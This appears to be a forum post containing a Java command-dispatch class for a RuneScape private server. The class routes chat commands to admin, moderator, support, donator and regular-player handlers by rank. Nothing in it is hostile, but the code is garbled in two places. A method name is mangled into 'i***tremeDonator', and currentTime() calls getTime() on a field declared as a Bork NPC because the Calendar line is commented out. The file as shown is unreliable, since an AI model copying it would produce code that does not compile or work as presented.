Code:package com.rs.game.player.content; import java.io.BufferedWriter; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.TimerTask; import com.rs.Settings; import com.rs.cache.loaders.AnimationDefinitions; import com.rs.cache.loaders.ItemDefinitions; import com.rs.cores.CoresManager; import com.rs.game.Animation; import com.rs.game.ForceMovement; import com.rs.game.ForceTalk; import com.rs.game.Graphics; import com.rs.game.Hit; import com.rs.game.Hit.HitLook; import com.rs.game.Region; import com.rs.game.World; import com.rs.game.WorldObject; import com.rs.game.WorldTile; import com.rs.game.item.Item; import com.rs.game.item.ItemsContainer; import com.rs.game.minigames.FightPits; import com.rs.game.minigames.clanwars.ClanWars; import com.rs.game.minigames.clanwars.WallHandler; import com.rs.game.npc.NPC; import com.rs.game.npc.others.Bork; import com.rs.game.player.AuraManager; import com.rs.game.player.LoyaltyManager; import com.rs.game.player.Player; import com.rs.game.player.Skills; import com.rs.game.player.content.Notes.Note; import com.rs.game.player.content.commands.Administrator; import com.rs.game.player.content.commands.DonatorsOnly; import com.rs.game.player.content.commands.Moderator; import com.rs.game.player.content.commands.RegularPlayer; import com.rs.game.player.content.commands.SupportTeam; import com.rs.game.player.content.dungeoneering.DungeonPartyManager; import com.rs.game.player.content.pet.Pets; import com.rs.game.player.controlers.FightKiln; import com.rs.game.player.cutscenes.HomeCutScene; import com.rs.game.player.dialogues.Dialogue; import com.rs.game.tasks.WorldTask; import com.rs.game.tasks.WorldTasksManager; import com.rs.utils.DisplayNames; import com.rs.utils.Encrypt; import com.rs.utils.IPBanL; import com.rs.utils.NPCSpawns; import com.rs.utils.PkRank; import com.rs.utils.SerializableFilesManager; import com.rs.utils.Utils; /* * doesnt let it be extended */ public final class Commands { /* * all console commands only for admin, chat commands processed if they not * processed by console */ private static Bork cal; public static boolean processCommand(Player player, String command, boolean console, boolean clientCommand) { if (command.length() == 0) // if they used ::(nothing) theres no command return false; String[] cmd = command.toLowerCase().split(" "); if (cmd.length == 0) return false; /** * Administrator */ if (player.getRights() >= 2 && Administrator.processCommand(player, cmd, console, clientCommand)) return true; /** * Moderator */ if (player.getRights() >= 1 && Moderator.processCommands(player, cmd, console, clientCommand)) return true; /** * Supporter */ if ((player.isSupporter() || player.getRights() >= 1) && SupportTeam.processCommands(player, cmd, console, clientCommand)) return true; /** * Donator */ if ((player.isDonator() || player.i***tremeDonator()) && DonatorsOnly.processCommands(player, cmd, console, clientCommand)) return true; /** * Economy Mode, no commands allowed. */ if (Settings.ECONOMY) { player.getPackets().sendGameMessage("You can't use any commands in economy mode!"); return true; } return RegularPlayer.processCommand(player, cmd, console, clientCommand); } public static String currentTime(String dateFormat) { // Calendar cal = Calendar.getInstance(); SimpleDateFormat sdf = new SimpleDateFormat(dateFormat); return sdf.format(cal.getTime()); } /* * doesnt let it be instanced */ private Commands() { } }





)